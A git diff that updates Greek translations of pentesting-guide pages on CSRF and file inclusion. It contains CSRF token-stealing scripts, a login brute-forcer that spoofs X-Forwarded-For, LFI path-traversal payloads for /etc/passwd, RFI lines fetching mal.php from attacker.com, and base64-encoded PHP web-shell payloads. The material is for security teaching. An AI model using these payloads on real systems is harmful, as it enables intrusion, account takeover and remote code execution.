|
||||
```
|
||||
### Αίτημα POST φόρμας από μέσα σε ένα iframe
|
||||
### Φόρμα POST request από μέσα σε ένα iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -398,7 +425,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Κλέψε το CSRF Token και στείλε ένα POST αίτημα**
|
||||
### **Υποκλοπή CSRF Token και αποστολή ενός POST request**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -445,7 +472,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Κλοπή CSRF Token και αποστολή αίτησης Post χρησιμοποιώντας ένα iframe, μια φόρμα και Ajax**
|
||||
### **Υποκλοπή CSRF Token και αποστολή Post request με iframe, form και Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -473,7 +500,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Κλέψε το CSRF Token και στείλε ένα POST αίτημα χρησιμοποιώντας ένα iframe και μια φόρμα**
|
||||
### **Κλέψε το CSRF Token και στείλε ένα POST request χρησιμοποιώντας ένα iframe και μία form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -506,7 +533,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Κλέψε το token και στείλε το χρησιμοποιώντας 2 iframes**
|
||||
### **Κλέψε token και στείλε το χρησιμοποιώντας 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -536,7 +563,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTΚλέψε το CSRF token με Ajax και στείλε μια ανάρτηση με μια φόρμα**
|
||||
### **POSTSteal CSRF token με Ajax και στείλε ένα post με form**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -589,7 +616,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Ο κώδικας μπορεί να χρησιμοποιηθεί για να επιτεθεί σε μια φόρμα σύνδεσης χρησιμοποιώντας ένα CSRF token (Χρησιμοποιεί επίσης την κεφαλίδα X-Forwarded-For για να προσπαθήσει να παρακάμψει μια πιθανή μαύρη λίστα IP):
|
||||
Ο κώδικας μπορεί να χρησιμοποιηθεί για Brute Force μιας φόρμας σύνδεσης χρησιμοποιώντας ένα CSRF token (Χρησιμοποιεί επίσης το header X-Forwarded-For για να προσπαθήσει να παρακάμψει πιθανό IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -644,7 +671,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,58 +4,58 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
|
||||
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από απομακρυσμένο server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό αρχείο.
|
||||
|
||||
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
|
||||
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει ποιο αρχείο θα φορτώσει ο server.
|
||||
|
||||
Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once
|
||||
Ευπαθείς **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
## Blind - Interesting - LFI2RCE αρχεία
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Συνδυάζοντας αρκετές λίστες LFI \*nix και προσθέτοντας περισσότερους διαδρόμους, δημιούργησα αυτήν:**
|
||||
Συνδυάζοντας διάφορες *nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
|
||||
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
|
||||
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
|
||||
Δοκίμασε επίσης να προσθέσεις `../../../../../`
|
||||
|
||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Συγχώνευση διαφορετικών λιστών λέξεων:
|
||||
Συγχώνευση διαφορετικών wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
|
||||
Δοκιμάστε επίσης να αφαιρέσετε το `C:/` και να προσθέσετε `../../../../../`
|
||||
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
|
||||
Δοκίμασε επίσης να αφαιρέσεις `C:/` και να προσθέσεις `../../../../../`
|
||||
|
||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Ελέγξτε τη λίστα LFI του linux.
|
||||
Έλεγξε τη λίστα LFI του linux.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## Βασικά LFI και bypasses
|
||||
|
||||
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion (σελίδα=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion επίσης (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### ακολουθίες διαδρομής χωρίς αναδρομή
|
||||
### traversal sequences αφαιρούνται μη-αναδρομικά
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Παράκαμψη της προσθήκης περισσότερων χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (παράκαμψη του: $\_GET\['param']."php")
|
||||
Bypass την προσθήκη επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Αυτό έχει **λυθεί από το PHP 5.4**
|
||||
Αυτό έχει **επιλυθεί από PHP 5.4**
|
||||
|
||||
### **Κωδικοποίηση**
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως η διπλή κωδικοποίηση URL (και άλλες):
|
||||
Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλα):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -84,38 +84,38 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Εξερεύνηση Καταλόγων Συστήματος Αρχείων σε έναν Διακομιστή
|
||||
### Εξερεύνηση Καταλόγων του Συστήματος Αρχείων σε έναν server
|
||||
|
||||
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό:
|
||||
Το σύστημα αρχείων ενός server μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια αναλυτική μέθοδος για να το επιτύχετε:
|
||||
|
||||
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Διαπιστώστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει τη δομή που ακολουθεί, υποδεικνύοντας βάθος τριών:
|
||||
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει εάν ο server βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να είναι δομημένο ως εξής, υποδεικνύοντας βάθος τρία:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Δοκιμή για Φάκελους:** Προσθέστε το όνομα του υποψήφιου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
|
||||
2. **Ανίχνευση Φακέλων:** Πρόσθεσε το όνομα του υποψιαζόμενου φακέλου (π.χ., `private`) στο URL, στη συνέχεια επέστρεψε στο `/etc/passwd`. Το πρόσθετο επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
|
||||
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
|
||||
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
|
||||
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει εάν ο φάκελος υπάρχει:
|
||||
- **Σφάλμα / Χωρίς έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στη συγκεκριμένη θέση.
|
||||
- **Περιεχόμενο του `/etc/passwd`:** Η ύπαρξη του φακέλου `private` επιβεβαιώνεται.
|
||||
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν ο φάκελος `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες του συστήματος αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Τεχνική Τραυματισμού Διαδρομής**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Ο τραυματισμός διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.
|
||||
Το Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειραγωγήσει μονοπάτια αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να δημιουργηθεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
|
||||
|
||||
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
||||
Στην PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες η ίδια διαδρομή.
|
||||
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
|
||||
- Ομοίως, αν προστεθεί `.php` σε μια διαδρομή αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευμένο αρχείο.
|
||||
- Παρομοίως, εάν το `.php` προστεθεί σε ένα μονοπάτι αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.
|
||||
|
||||
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε τον τραυματισμό διαδρομής για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμού χρήστη):
|
||||
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιηθεί το path truncation για πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι γύρω στο 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
|
||||
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
|
||||
|
||||
- **Χρησιμοποιώντας Τμήματα Τελείας και Πρόσθετους Χαρακτήρες**: Ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
|
||||
- **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στη ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
|
||||
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για την περιήγηση στο σύστημα αρχείων, αγνοώντας στην πράξη τις συμβολοσειρές που προσθέτει ο διακομιστής.
|
||||
- **Determining the Required Number of Traversals**: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό των `../` ακολουθιών που χρειάζονται για να φτάσει στον root κατάλογο και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά το επιθυμητό μονοπάτι (`/etc/passwd`) παραμένει ανέπαφο.
|
||||
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν μη υπάρχοντα κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιηθούν οι απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
|
||||
|
||||
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||
Κατά την εφαρμογή τεχνικών path truncation, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομών του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το testing για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||
|
||||
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
|
||||
|
||||
### **Τεχνικές παράκαμψης φίλτρων**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να include ένα PHP file από τον server σας και να αποκτήσετε RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:
|
||||
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64 εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
|
||||
|
||||
Ένα άλλο παράδειγμα **χωρίς τη χρήση του πρωτοκόλλου `php://`** θα ήταν:
|
||||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε `.txt`, έτσι η συμβολοσειρά τελειώνει με αυτήν και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
|
||||
>
|
||||
> Another example **μη χρησιμοποιώντας το πρωτόκολλο `php://`** θα ήταν:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
|
||||
Στην python σε έναν κώδικα όπως αυτός:
|
||||
Σε Python, σε έναν κώδικα όπως ο εξής:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Αν ο χρήστης περάσει μια **απόλυτη διαδρομή** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**:
|
||||
Αν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, το **προηγούμενο path απλά αφαιρείται**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Είναι η προγραμματισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η ένωση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
|
||||
> Εάν ένα στοιχείο είναι ένα απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία αγνοούνται και η σύνδεση συνεχίζεται από το απόλυτο στοιχείο μονοπατιού.
|
||||
|
||||
## Java Λίστα Καταλόγων
|
||||
## Java Λίστα καταλόγων
|
||||
|
||||
Φαίνεται ότι αν έχετε Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για ένα αρχείο, **επιστρέφεται μια λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).
|
||||
Φαίνεται πως αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, θα επιστραφεί μια **λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο ξέρω).
|
||||
|
||||
## Κορυφαίοι 25 παράμετροι
|
||||
## Κορυφαίες 25 παράμετροι
|
||||
|
||||
Ακολουθεί λίστα με τους κορυφαίους 25 παράγοντες που θα μπορούσαν να είναι ευάλωτοι σε τοπικές ευπάθειες συμπερίληψης αρχείων (LFI) (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI χρησιμοποιώντας PHP wrappers & πρωτόκολλα
|
||||
## LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
Οι φίλτροι PHP επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν διαβαστούν ή γραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:
|
||||
PHP filters επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή εγγραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Αφαιρεί τις ετικέτες από τα δεδομένα (όλα όσα βρίσκονται μεταξύ των χαρακτήρων "<" και ">")
|
||||
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">")
|
||||
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
